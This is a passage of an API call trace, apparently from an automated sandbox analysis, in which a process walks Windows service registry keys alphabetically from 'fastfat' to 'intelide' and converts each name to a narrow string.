lpWideCharStr="fastfat", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0032.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fastfat", cchWideChar=7, lpMultiByteStr=0x1da4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fastfat", lpUsedDefaultChar=0x0) returned 7 [0032.732] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x6a, lpName=0x1d92850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0032.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0032.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x1da4408, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0032.732] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x6b, lpName=0x1d92850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0032.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0032.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdc", cchWideChar=3, lpMultiByteStr=0x1da4450, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdc", lpUsedDefaultChar=0x0) returned 3 [0032.732] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x6c, lpName=0x1d92850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0032.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdphost", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0032.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdphost", cchWideChar=7, lpMultiByteStr=0x1da4408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdphost", lpUsedDefaultChar=0x0) returned 7 [0032.732] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x6d, lpName=0x1d92850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0032.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdrespub", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdrespub", cchWideChar=8, lpMultiByteStr=0x1da4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdrespub", lpUsedDefaultChar=0x0) returned 8 [0032.732] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x6e, lpName=0x1d92850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0032.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fileinfo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fileinfo", cchWideChar=8, lpMultiByteStr=0x1da4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fileinfo", lpUsedDefaultChar=0x0) returned 8 [0032.732] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x6f, lpName=0x1d92850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0032.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="filetrace", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0032.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="filetrace", cchWideChar=9, lpMultiByteStr=0x1da4450, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="filetrace", lpUsedDefaultChar=0x0) returned 9 [0032.733] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x70, lpName=0x1d92850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0032.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flpydisk", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flpydisk", cchWideChar=8, lpMultiByteStr=0x1da4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flpydisk", lpUsedDefaultChar=0x0) returned 8 [0032.733] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x71, lpName=0x1d92850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0032.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fltmgr", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0032.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fltmgr", cchWideChar=6, lpMultiByteStr=0x1da4450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fltmgr", lpUsedDefaultChar=0x0) returned 6 [0032.733] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x72, lpName=0x1d92850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0032.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0032.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache", cchWideChar=9, lpMultiByteStr=0x1da4408, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fontcache", lpUsedDefaultChar=0x0) returned 9 [0032.733] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x73, lpName=0x1d92850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0032.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache3.0.0.0", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0032.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache3.0.0.0", cchWideChar=16, lpMultiByteStr=0x1da4450, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fontcache3.0.0.0", lpUsedDefaultChar=0x0) returned 16 [0032.733] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x74, lpName=0x1d92850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0032.733] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fsdepends", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0032.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fsdepends", cchWideChar=9, lpMultiByteStr=0x1da4408, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fsdepends", lpUsedDefaultChar=0x0) returned 9 [0032.734] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x75, lpName=0x1d92850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0032.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fs_rec", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0032.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fs_rec", cchWideChar=6, lpMultiByteStr=0x1da4450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fs_rec", lpUsedDefaultChar=0x0) returned 6 [0032.734] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x76, lpName=0x1d92850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0032.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fvevol", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0032.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fvevol", cchWideChar=6, lpMultiByteStr=0x1da4408, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fvevol", lpUsedDefaultChar=0x0) returned 6 [0032.734] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x77, lpName=0x1d92850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0032.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gagp30kx", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gagp30kx", cchWideChar=8, lpMultiByteStr=0x1da4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gagp30kx", lpUsedDefaultChar=0x0) returned 8 [0032.734] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x78, lpName=0x1d92850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0032.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpsvc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0032.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpsvc", cchWideChar=5, lpMultiByteStr=0x1da4408, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gpsvc", lpUsedDefaultChar=0x0) returned 5 [0032.734] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x79, lpName=0x1d92850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0032.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdate", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0032.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdate", cchWideChar=7, lpMultiByteStr=0x1da4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gupdate", lpUsedDefaultChar=0x0) returned 7 [0032.734] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x7a, lpName=0x1d92850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0032.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdatem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdatem", cchWideChar=8, lpMultiByteStr=0x1da4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gupdatem", lpUsedDefaultChar=0x0) returned 8 [0032.734] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x7b, lpName=0x1d92850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0032.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hcw85cir", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hcw85cir", cchWideChar=8, lpMultiByteStr=0x1da4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hcw85cir", lpUsedDefaultChar=0x0) returned 8 [0032.734] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x7c, lpName=0x1d92850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0032.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudaddservice", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0032.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudaddservice", cchWideChar=15, lpMultiByteStr=0x1da4408, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hdaudaddservice", lpUsedDefaultChar=0x0) returned 15 [0032.735] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x7d, lpName=0x1d92850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0032.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudbus", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudbus", cchWideChar=8, lpMultiByteStr=0x1da4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hdaudbus", lpUsedDefaultChar=0x0) returned 8 [0032.735] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x7e, lpName=0x1d92850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0032.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbatt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0032.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbatt", cchWideChar=7, lpMultiByteStr=0x1da4408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidbatt", lpUsedDefaultChar=0x0) returned 7 [0032.735] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x7f, lpName=0x1d92850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0032.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbth", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0032.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbth", cchWideChar=6, lpMultiByteStr=0x1da4450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidbth", lpUsedDefaultChar=0x0) returned 6 [0032.735] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x80, lpName=0x1d92850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0032.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidir", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0032.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidir", cchWideChar=5, lpMultiByteStr=0x1da4408, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidir", lpUsedDefaultChar=0x0) returned 5 [0032.735] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x81, lpName=0x1d92850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0032.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0032.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidserv", cchWideChar=7, lpMultiByteStr=0x1da4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidserv", lpUsedDefaultChar=0x0) returned 7 [0032.735] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x82, lpName=0x1d92850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0032.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidusb", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0032.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidusb", cchWideChar=6, lpMultiByteStr=0x1da4408, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidusb", lpUsedDefaultChar=0x0) returned 6 [0032.735] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x83, lpName=0x1d92850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0032.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hkmsvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0032.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hkmsvc", cchWideChar=6, lpMultiByteStr=0x1da4450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hkmsvc", lpUsedDefaultChar=0x0) returned 6 [0032.736] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x84, lpName=0x1d92850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0032.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegrouplistener", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0032.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegrouplistener", cchWideChar=17, lpMultiByteStr=0x1da4408, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegrouplistener", lpUsedDefaultChar=0x0) returned 17 [0032.736] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x85, lpName=0x1d92850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0032.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroupprovider", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0032.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroupprovider", cchWideChar=17, lpMultiByteStr=0x1da4450, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegroupprovider", lpUsedDefaultChar=0x0) returned 17 [0032.736] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x86, lpName=0x1d92850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0032.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hpsamd", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0032.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hpsamd", cchWideChar=6, lpMultiByteStr=0x1da4408, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hpsamd", lpUsedDefaultChar=0x0) returned 6 [0032.736] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x87, lpName=0x1d92850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0032.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0032.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http", cchWideChar=4, lpMultiByteStr=0x1da4450, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http", lpUsedDefaultChar=0x0) returned 4 [0032.736] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x88, lpName=0x1d92850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0032.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hwpolicy", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hwpolicy", cchWideChar=8, lpMultiByteStr=0x1da4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hwpolicy", lpUsedDefaultChar=0x0) returned 8 [0032.736] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x89, lpName=0x1d92850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0032.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i8042prt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i8042prt", cchWideChar=8, lpMultiByteStr=0x1da4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="i8042prt", lpUsedDefaultChar=0x0) returned 8 [0032.736] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x8a, lpName=0x1d92850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0032.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iastorv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0032.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iastorv", cchWideChar=7, lpMultiByteStr=0x1da4408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iastorv", lpUsedDefaultChar=0x0) returned 7 [0032.737] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x8b, lpName=0x1d92850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0032.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="idsvc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0032.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="idsvc", cchWideChar=5, lpMultiByteStr=0x1da4450, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="idsvc", lpUsedDefaultChar=0x0) returned 5 [0032.737] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x8c, lpName=0x1d92850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0032.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iirsp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0032.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iirsp", cchWideChar=5, lpMultiByteStr=0x1da4408, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iirsp", lpUsedDefaultChar=0x0) returned 5 [0032.737] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x8d, lpName=0x1d92850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0032.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ikeext", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0032.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ikeext", cchWideChar=6, lpMultiByteStr=0x1da4450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ikeext", lpUsedDefaultChar=0x0) returned 6 [0032.737] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x8e, lpName=0x1d92850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0032.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="inetaccs", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="inetaccs", cchWideChar=8, lpMultiByteStr=0x1da4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="inetaccs", lpUsedDefaultChar=0x0) returned 8 [0032.737] RegEnumKeyW (in: hKey=0x13c, dwIndex=0x8f, lpName=0x1d92850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0032.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelide", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.737] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelide", cchWideChar=8, lpMultiByteStr=0x1da4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intelide", lpUsedDefaultChar=0x0) returned 8 [0032.737] RegEnumKeyW 